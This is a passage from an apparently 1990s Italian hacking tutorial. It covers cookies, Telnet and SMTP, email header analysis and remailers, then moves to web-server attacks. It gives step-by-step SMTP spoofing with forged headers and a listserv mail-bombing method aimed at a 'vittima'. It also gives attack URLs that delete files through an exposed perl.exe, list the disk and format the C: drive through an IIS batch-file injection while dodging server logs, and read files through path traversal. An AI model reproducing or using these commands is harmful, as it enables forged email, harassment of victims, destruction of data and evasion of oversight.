cosa diventa alquanto pericolosa. In pratica e` come se lasciaste un biglietto da visita (beh... quasi un curriculum!) ad ogni collegamento che effettuate.  Molti siti utilizzano anche un comodo meccanismo di identificazione messo a disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad identificarvi anche a distanza di tempo, e puo` rivelare loro la frequenza con cui visitate dei siti, IP address, ed altre informazioni che non vorreste dare.  Il file in questione e` denominato "cookie". Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di "cookies.txt".  Non e` altro che un semplice file di testo, come questo che state leggendo.  Bastera` eliminarlo dopo ogni collegamento per eliminare le informazioni che esso puo` rivelare.  Se utilizzate siti che richiedono accesso con password puo` darsi che il cookie contenga delle informazioni necessarie al vostro collegamento: in tal caso bastera` editare il file ed eliminare solo le righe che non contengono il nome del sito in questione.  I "cookies" possono essere disabilitati in alcuni browser (come Netscape). Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy), come Java e JavaScript.  Rendono piu` allegre le pagine Web... e ancor piu` allegri quelli che vogliono sapere chi, come e quando si collega a una pagina.  Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce sul Web era l'Anonimizzatore (<a href="http://www.anonymizer.com/">http://www.anonymizer.com</a>), ma mentre prima era gratuito ora e` diventato a pagamento.  Lo si puo` ancora utilizzare, ma prima di visualizzare la pagina Web desiderata, l'utente e` costretto ad attendere circa mezzo minuto.  Inoltre questo servizio e` ora in grado di riconoscere un tentativo di hacking e si rifiuta di eseguire il collegamento.  Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia.  In realta`, un hacker non usa quasi mai altro che un solo programma: Telnet. Se non siete ancora in possesso di un client (programma utente) Telnet vi consiglio di prelevarlo al piu` presto dalla rete (ad esempio, cercando su <a href="http://www.shareware.com/">http://www.shareware.com</a>). Telnet non e` altro che un servizio di banca dati, con messaggi, programmi e cose del genere, proprio come nelle vecchie BBS.  Ma perche` utilizzare proprio Telnet?  In realta`, un client Telnet fa poco piu` che collegarsi a un server, inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal server.  Puo` in effetti sostituire (limitatamente) un qualsiasi altro client.  Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi ad un sito Web, il programma non fa altro che svolgere una sessione Telnet. In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta che il server glielo invii. Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.  Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi programma client, parlando al server e leggendo le sue risposte.  Ma per quale motivo dovremmo farlo?  E` presto detto.  Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail, e` stato progettato perche` dall'altro capo della connessione ci sia un programma client che segua certe regole (ad esempio Eudora per la posta).  Ma cosa succede se invece di un programma c'e` un hacker che "finge" di essere il programma e invece di seguire le regole standard fa altre cose non previste? Succede che si puo` sovvertire il servizio, e si possono fare le cose piu` disparate.  Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa" (detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web si puo` crashare (da "crash": distruggere, in senso virtuale) un server, con FTP si puo` ottenere un livello di anonimita` elevatissimo ed e` possibile infiltrarsi anche dove non si e` desiderati, e cosi` via; per praticamente ogni servizio esistente vi sono delle tecniche applicabili.  E infine, con quasi tutti i servizi (e in particolar modo con la SMTP) esistono dei modi per ottenere il tanto agognato accesso "root", in pratica il livello dell'amministratore di sistema (detto SysAdmin) che puo` fare *qualsiasi* cosa: creare, aggiungere o eliminare account, file e directory, utenti con qualsiasi livello d'accesso, leggere la posta e i file degli utenti, attivare e disattivare servizi, modificare programmi. TELNET E SMTP  ~~~~~~~~~~~~~ Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno facendo sembrare che essa sia stata mandata da qualcun altro.  Il metodo piu` semplice e` utilizzare uno dei siti per hackers che offrono la possibilita` di inviare FakeMail (basta cercare questa parola in un motore di ricerca su Internet, ad esempio <a href="http://www.yahoo.com/">www.yahoo.com</a> ha una sezione apposita per FakeMail e posta anonima).  Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle news).  Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio della posta in uscita. Questa e` infatti la base per capire come funzionano molte delle tecniche piu` utilizzate, e vi permettera`, quando sarete padroni della materia, di implementarne di nuove.  Iniziamo dunque imparando ad usare Telnet.  Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi collegherete al servizio Telnet.  Ma abbiamo detto che non e` questo il nostro obiettivo.  A noi interessa il servizio SMTP.  Dunque, come fare per accedervi?  Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche un numero di "porta".  Ma cos'e` una porta? Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce molti servizi (web, ftp, posta...).  Di conseguenza dovrebbe avere altrettanti server su altrettanti indirizzi diversi.  Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica nient'altro numeri a cui sono associati i vari servizi. Vogliamo collegarci a SMTP?  Basta utilizzare la porta 25.  Ci interessano le news?  La porta e` 119.  Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci rispondera` sempre SMTP.  NOTA: se avete Winsock potete leggere il file "services", contenente i numeri delle porte piu` usate.  Il file si trovera` nella directory di Winsock.  Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare a SMTP usando Telnet.  Scegliamo un server qualsiasi (sono davvero rari i casi in cui un server non gestisca la posta) e, in base al programma usato, dovremmo operare differentemente. La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del server prova.it bisogna inserire prova.it:25 come nome del server. Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta, ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del servizio.  Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:  220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200  e niente altro.  Il server sta ora aspettando comandi da parte nostra. La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in questo modo:  HELO nomeprovider.it  sostituendo nomeprovider.it con il nome del nostro provider.  NOTA: usando Telnet *NON* e` possibile cancellare.  Quindi digitate senza fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto, oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la riga da zero.  Non cancellate, anche se sembra funzionare.  I risultati possono essere imprevedibili e potreste rivelare la vostra identita`.  Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome.  La risposta sara`:  250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you  A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail. Usiamo allo scopo il comando "MAIL FROM" e digitiamo:  MAIL FROM: &lt;<a href="mailto:Bill_Gates@microsoft.com">Bill_Gates@microsoft.com</a>&gt;  ...ovviamente l'indirizzo da inserire e` quello falso =) Il server rispondera` con un messaggio.  Se avremo sbagliato qualcosa, sara` un messaggio d'errore, e dovremo ripetere l'immissione.  A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere <a href="mailto:vittima@lamer.it">vittima@lamer.it</a>.  Usiamo il comando "RCPT TO" e scriviamo:  RCPT TO: &lt;<a href="mailto:vittima@lamer.it">vittima@lamer.it</a>&gt;  Il server rispondera` con un altro messaggio.  Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle intestazioni e del corpo del messaggio. Avvisiamo il server che siamo pronti, scrivendo:  DATA  e il server ci dira` di scrivere il messaggio e di concludere con un punto su una riga vuota.  Fermiamoci un attimo.  In ogni e-mail esistono delle intestazioni (headers) che si trovano prima del corpo del messaggio vero e proprio.  Il loro scopo e` elencare tutti i computer attraverso i quali e` passato il messaggio, nonche` il nostro IP Address!  Cio` potrebbe rivelare la nostra identita` a un hacker o a un SysAdmin esperto.  Per evitarlo, digitiamo:  Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58  dove nomeprovider.it e` il nome del vostro provider (quello che avete usato con HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard. ID AA11212 va cambiato.  Potete mettere un numero qualsiasi (possibilmente che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale). Si tratta solo di un numero di serie del server, niente di importante.  Ora dobbiamo digitare:  Message-ID: &lt;<a href="mailto:123.AA11345@microsoft.com">123.AA11345@microsoft.com</a>&gt;  Cio` serve a far credere che il messaggio sia partito effettivamente dal server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi, purche` NON uguale a quello inserito prima con l'intestazione "Received:").  Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:  To: &lt;<a href="mailto:vittima@lamer.it">vittima@lamer.it</a>&gt; Date: Sun, 12 Oct 97 11:30:27 Subject: questa e` una prova...  Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto vogliamo).  Per concludere il messaggio lasciamo due righe vuote, digitiamo un punto, premiamo invio, scriviamo QUIT e invio. La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiudere Telnet.  E` importante inviare a se stessi dei messaggi di prova per vedere se il server scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.  Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di qualcuno? Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un "listserv" (come ad esempio <a href="mailto:listserv@brownvm.brown.edu">listserv@brownvm.brown.edu</a>). Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP.  Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima... Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, arrivati a "Subject:" scriviamo quanto segue:  REPLY <a href="mailto:vittima@lamer.it">vittima@lamer.it</a> CONNECT pluto.it anonymous <a href="mailto:indirizzo@falso.com">indirizzo@falso.com</a> BINARY GET mieifiles/enorme.gz QUIT  e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.  Ecco la spiegazione passo passo:  REPLY indica l'indirizzo e-mail a cui rispondere CONNECT specifica il nome del provider a cui collegarsi e l'account da usare BINARY specifica un file di tipo binario (non va cambiato) GET specifica il nome del file da prelevare (completo di eventuali directory) QUIT termina la connessione  Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara` molto piu` dannoso.  Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario! E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la vittima riceverebbe migliaia e migliaia di messaggi... E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no? EMAIL E IDENTIFICAZIONE ~~~~~~~~~~~~~~~~~~~~~~~ Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'autore, e come utilizzare i remailer anonimi per un'anonimita` di livello elevatissimo.  Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la parola "Received:" e simili, che si trovano prima del corpo del messaggio vero e proprio).  Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha un'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli stessi. Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options", mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail da analizzare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ovvero Proprieta`).  Eudora ed altri client hanno una funzione simile a quella di Netscape Mail (nei menu`).  Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:  Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)    id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT) Received: from america.com ([123.45.67.89]) by posta.hackers.it    (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187    for &lt;<a href="mailto:utente@provider.it">utente@provider.it</a>&gt;; Mon, 27 Sep 1997 14:34:21 +0200 From: &lt;<a href="mailto:mittente@america.com">mittente@america.com</a>&gt; To: &lt;<a href="mailto:utente@provider.it">utente@provider.it</a>&gt; Subject: test...  Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in quanto ogni header inizia con una parola chiave seguita dai due punti, e nel secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo percio` che e` il seguito della riga superiore.  L'header "Received" ci informa del percorso seguito dall'e-mail da quando e` stato generato a quando l'abbiamo ricevuto.  Normalmente ce n'e` piu` di uno e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del nostro provider - e l'ultimo Received rappresenta il computer "mittente"). Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in *cima* alle altre intestazioni gia` presenti.  Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e-mail al server posta.hackers.it usando SMTP. Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro). Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e` <a href="mailto:utente@provider.it">utente@provider.it</a>. Il mittente, stando all'header "From:", dovrebbe essere <a href="mailto:mittente@america.com">mittente@america.com</a> ma come sincerarsene?  Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su "america.com", ma utilizzando Finger non possiamo sapere se sia stato effettivamente lui a mandare il messaggio o meno.  Ricorriamo percio` ancora una volta all'analisi degli header "Received". Il primo header, quello che ci informa da CHI e` stato inviato il messaggio, corrisponde all'ultimo header (cioe` al secondo "Received"). Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89 e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono e` utilizzare un programma DNS.  Bastera` inserire l'IP Address per conoscere l'Host Name ad esso corrispondente.  Questo metodo e` di estrema importanza, in quanto se da un lato non ci permette di scoprire l'autore, almeno potremo sapere quale computer e` stato usato per inviare e-mail, news, ecc.  Molti provider di posta elettronica gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengono da un determinato "dominio" (es. provider.it), ma per farlo e` necessario conoscerne l'Host Name oppure l'IP Address.  Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi del genere, si lascia dunque in modo indelebile il proprio IP Address nelle e-mail.  L'unico "lato buono" e` che inviando alcune migliaia di e-mail a un indirizzo, *probabilmente* il proprietario della mailbox non riuscira` a scaricarle tutte (o non vorra` farlo) e non potra` percio` analizzarne le intestazioni per scoprire il colpevole ;) In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc e` possibile scaricare un singolo messaggio e analizzarlo, quindi e` bene lasciare il mail-bombing ai lamers che non hanno nient'altro da fare...  Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non rintracciabili" e` perche` la lista dei server SMTP inclusa in essi contiene per lo piu` vecchi server che non registrano l'IP Address di chi si collega. Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati di e-mail in uscita, e sono stati percio` disattivati o hanno cambiato nome. In ogni caso, tutti i piu` nuovi server SMTP registrano (purtroppo) l'IP e in alcuni casi sono addirittura in grado di riconoscere un tentativo di FakeMail e rispondere "sfottendo"... :-}  Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una anonima per rispondere a qualcuno senza essere rintracciati, o magari per partecipare a un Newsgroup in maniera del tutto anonima.  Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta completamente anonima (senza mittente e senza alcuna traccia di IP Address o altro).  NOTA: Per una lista completa con tutte le informazioni come: velocita`, caratteristiche e affidabilita` basta cercare le parole "anonymous remailer" con un qualsiasi motore di ricerca sul Web.  Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi programma di posta elettronica) all'indirizzo e-mail di un remailer. Ad esempio, <a href="mailto:remailer@replay.com">remailer@replay.com</a> (oppure <a href="mailto:remailer@huge.cajones.com">remailer@huge.cajones.com</a> o ancora <a href="mailto:remailer@cypherpunks.ca">remailer@cypherpunks.ca</a>) e, PRIMA del messaggio inserire una riga vuota, una coppia di due punti e altre informazioni, come segue:  ::  Request-Remailing-To: <a href="mailto:destinatario@email.com">destinatario@email.com</a>  Questa e` una prova....  Dunque l'indirizzo del destinatario NON va inserito come destinatario. Come destinatario useremo l'indirizzo del remailer, mentre quello del vero destinatario andra` scritto a fianco a "Request-Remailing-To".  Questo e` quanto per le e-mail anonime.  Come fare, invece, per inviare delle news anonime?  Seguendo lo stesso procedimento, ma usando come destinatario un "gateway" (passaggio) mail-news.  A cosa serve? Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news. Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio cs.utexas.edu) quindi il risultato sara` <a href="mailto:alt-hackers@cs.utexas.edu">alt-hackers@cs.utexas.edu</a> al quale manderemo il nostro messaggio tramite remailer.  Aggiungiamo ora alcune informazioni per completare il capitolo.  Sul Web esistono vari siti per FakeMail che non registrano IP Address.  Uno molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo: <a href="http://www.nettex.com/~thecap/">http://www.nettex.com/~thecap/</a>  Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web.  Per chi preferisse le Form ai programmi di posta elettronica bastera` cercare, come detto prima, dei remailer usando i motori di ricerca. Un indirizzo tra i piu` affidabili: <a href="http://www.replay.com/remailer/">http://www.replay.com/remailer/</a>  NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un servizio a quanti vogliono preservare la propria privacy elettronica. Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio. Inoltre molti remailer possono negarvi l'accesso al servizio in caso di proteste da parte di terzi.  In altre parole, usate il cervello... INTRODUZIONE ALLE TECNICHE DI BASE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle di base per poter comprendere quelle piu` complesse. Inoltre nella spiegazione di ciascuna tecnica ne approfittero` per spiegare altri argomenti che normalmente in qualsiasi guida sull'hacking, in italiano o in inglese, sono lasciati alla... immaginazione del lettore.  Dunque.  In questo volume vedremo delle semplici tecniche relative alla sicurezza (da un punto di vista hacker) dei server Web.  Credo (e spero) che sappiate gia` usare un browser e i vari programmi... in caso contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare con qualcosa di piu` semplice, come accendere e spegnere il computer...   TECNICHE DI BASE: I WEB SERVER - PARTE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Molti metodi usati in passato per hackerare un sito Web si basavano su dei problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei Webmaster e dei SysAdmin.  Ad esempio, un classico errore era lasciare programmi che hanno funzione di interpreti di comandi, come ad esempio il Perl (file perl.exe) accessibili a chiunque tramite Internet. Dal momento che tali programmi accettano parametri, se avessimo voluto cancellare l'intero contenuto di una directory avremmo potuto eseguire il comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).  Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl, il comando per eliminare la directory e` "unlink &lt;*&gt;" (senza gli apici). Per "dire" al Perl di eseguire un comando va usata l'opzione "-e".  Il comando completo sara` quindi: perl.exe -e unlink &lt;*&gt;  Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito). Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:    <a href="http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E">http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E</a>  Ecco cosa stiamo facendo: <a href="http://www.nomesito.com/cgi-bin/perl.exe">http://www.nomesito.com/cgi-bin/perl.exe</a> non e` altro che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di passare dei comandi qualsiasi al programma (probabilmente lo avrete gia` visto quando vi collegate ai motori di ricerca); infine, come gia` detto prima, "-e" dice al Perl di eseguire il comando che segue. I segni + non sono altro che gli spazi.  Poiche` negli URL non si usano spazi vanno usati i + al loro posto.  Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`? Se guardate piu` sopra, vedrete che il comando da eseguire era unlink &lt;*&gt; Non abbiamo fatto altro che sostituire &lt; con il suo codice ASCII in notazione
esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo
stesso abbiamo fatto per &gt; mentre l'asterisco e` rimasto uguale. Ovviamente non dovrete imparare i codici a memoria, vi bastera` trovare una tabella ASCII come quelle che si trovano sui libri di informatica e di programmazione, o in alcune piccole utility.  Se non l'avete, prima di proseguire e` assolutamente necessario che ve la procuriate.  Dicevamo... perche` questi cambiamenti? Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sempre* sostituiti con il relativo codice ASCII.  Tutti gli altri caratteri possono rimanere invariati. Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera` fare altro che cercarne il codice in esadecimale e scriverlo al suo posto, mettendo un simbolo di percentuale prima del codice. Tali codici sono detti di "escape".  In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x puo` essere "forzato" ad eseguire dei comandi arbitrari, come ad esempio:    <a href="http://www.nomesito.com/cgi-bin/scrivimi.bat?&amp;dir+c:\+%5Cs">http://www.nomesito.com/cgi-bin/scrivimi.bat?&amp;dir+c:\+%5Cs</a>  In questo caso scrivimi.bat e` un file batch (.bat). E` molto facile da scoprire se un server utilizzi tali file, in quanto basta dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per scoprire se vi sono riferimenti ad essi. Ovviamente il trucco funziona solo con i server sopra elencati (per Windows) e con pochissimi altri.  Inoltre le nuove versioni hanno corretto questo problema.  Il "bug" (errore) in questo caso risiede nella gestione dei files batch. Come vediamo, aggiungendo ?&amp; al nome del file e poi scrivendo i comandi da eseguire, il server credera` di stare eseguendo ancora il file batch e in realta` fara` ben altro... nel nostro caso, il comando codificato e` il seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C). Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le directory e i file presenti sul server (utile per sapere dove mettere le mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).  Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio. Le trattiamo anche perche` non si puo` imparare qualcosa di complesso senza conoscere le basi e i ragionamenti che sono dietro un exploit.  Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e a volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia. Ecco perche` vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a provare... e soprattutto a imparare l'inglese (se non lo conoscete gia`), perche` la stragrande maggioranza delle documentazioni e dei siti che possono insegnarvi qualcosa (come il mitico Silicon Toad... <a href="http://www.silitoad.org/">http://www.silitoad.org</a> oppure come Hackers Underground... <a href="http://www.underground.org/">http://www.underground.org</a>) e`, che lo vogliate o meno, in inglese.  In una parola: LEGGETE.  Comunque l'obiettivo di questi volumi non e` certo insegnarvi dei trucchi. Possono essere molto utili, talvolta indispensabili.  Ma l'hacking e` ben altro, e si avvale dell'uso di tecniche raffinate che l'hacker sceglie in base alle proprie esigenze e in base al suo personale modo di hackerare. TECNICHE DI BASE: I WEB SERVER - PARTE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Windows NT server) possono essere utilizzati per eseguire comandi arbitrari utilizzando lo schema seguente:    [URL].../nomescript.bat?&amp;comando_1+comando_2+...+comando_N  E` bene notare che i server Web registrano in uno o piu` file (detti "log") tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre informazioni.  Per evitarlo, possiamo fare due cose.  Una possibilita` e` aggiungere alla fine dell'URL contenente i nostri comandi, il comando "time" oppure "date", in questo modo:    <a href="http://www.sito.com/cgi-bin/prova.bat?&amp;echo+S+%7C+format+c%3A+%2Fu+time">http://www.sito.com/cgi-bin/prova.bat?&amp;echo+S+%7C+format+c%3A+%2Fu+time</a>  Procediamo ora con la spiegazione di questo URL.  Il comando eseguito e`:    echo S | format c: /u  seguito dal comando "time", che vedremo dopo.  Il comando "format c:" come sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indica a "format" di procedere con una formattazione incondizionata, cioe` senza salvare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e non fara` nient'altro fino a che non avra` uno dei due input. Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|". In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il carattere "S") al comando successivo (format), simulando la pressione del tasto.  Abbiamo cosi` risolto il problema.  Una funzione non documentata del comando format e` l'opzione "/autotest". Tale opzione corrisponde in pratica alla riga di comando sopra descritta, e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u" scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer). L'hard disk verra` formattato senza chiedere alcunche` all'utente.  Ma ora torniamo al comando time (oppure date).  Perche` l'abbiamo aggiunto?  I server registrano le operazioni nei log solo DOPO che tali operazioni siano state effettivamente eseguite.  Ad esempio, quando un URL viene "chiamato" e abbiamo ricevuto il contenuto della pagina ad esso associata. Per impedire al server di terminare l'operazione (e quindi di registrare l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date. Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time) all'utente.  Ma dal momento che il server non sa rispondere ai comandi ;) la loro esecuzione non potra` essere completata, il log non verra` scritto e noi avremo ottenuto quello che volevamo... segretezza :)  Vi ho detto pero` che esistono DUE modi.  Ecco il secondo: esiste su Internet un server molto simile all'Anonimizzatore di cui vi ho parlato in un volume precedente a questo.  Si tratta di iPROXY (<a href="http://www.iproxy.com/">http://www.iproxy.com</a>), un server che offre gratuitamente la possibilita` di collegarsi anonimamente ai siti, digitando l'URL desiderato (vi dice niente?). Non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi che per l'hacking... ma meglio uno in piu` che in meno ^_^  Tornando ai problemi di sicurezza...  Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti alla fine di un file script, anziche` essere eseguito, il contenuto del file verra` visualizzato sullo schermo del vostro browser.  Un altro bug simile permette di visualizzare file "segreti" (come pagine protette da password, documenti che non dovrebbero poter essere visualizzati in quanto "interni" e qualsiasi altro file presente sull'hard disk del server), in questo modo:    <a href="http://www.sito.com/qui_va_il_percorso/nome_del_file">http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file</a>  Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai siti sulla sicurezza di Windows.  Passiamo ora agli altri Web server.  Restando in tema di Windows NT/95 un altro server che ha il problema degli script in cgi-bin e` O'Reilly WebSite (versioni fino alla 1.1b).  Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh basta utilizzare il codice escape al posto del punto (nel nome del file):    <a href="http://www.sito.com/WebSTAR%20LOG">http://www.sito.com/WebSTAR%20LOG</a>  Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi software.  Non cercate, pertanto, di utilizzare "time" con un server Unix o roba del genere.   TECNICHE DI BASE: I WEB SERVER UNIX ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Il Web server standard di Unix, Linux, ecc. e` httpd della NCSA.  Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software server (lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi). Si tratta di un problema detto "buffer overflow", che consiste nel riempire tutta l'area di memoria riservata dal server ai dati, e fargli eseguire un programma (molto piccolo, e preferibilmente in assembler) scritto da noi. Essendo una tecnica molto complessa la vedremo piu` avanti, poiche` ci sara` piu` utile con SMTP (per avere accesso root) che con il Web, in quanto nei nuovi server questo problema sembra essere stato corretto. Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla versione 1.02).  Esistono poi degli hack (un "hack" e` una tecnica di hacking) che hanno letteralmente fatto storia. Relativamente vecchio ma ancora molto utilizzato e` quello del PHF, usato per hackerare le pagine Web di CIA, FBI e moltissimi altri, piu` o meno famosi.  Prima di spiegare questa tecnica e` bene precisare una cosa: se state leggendo questi volumi per imparare, non avrete certamente la capacita` di rendervi "invisibili" agli occhi di un SysAdmin... quindi attenti a non utilizzare queste tecniche. Molti siti (come ad esempio unina.it, l'Universita` di Napoli) hanno software in grado di riconoscere 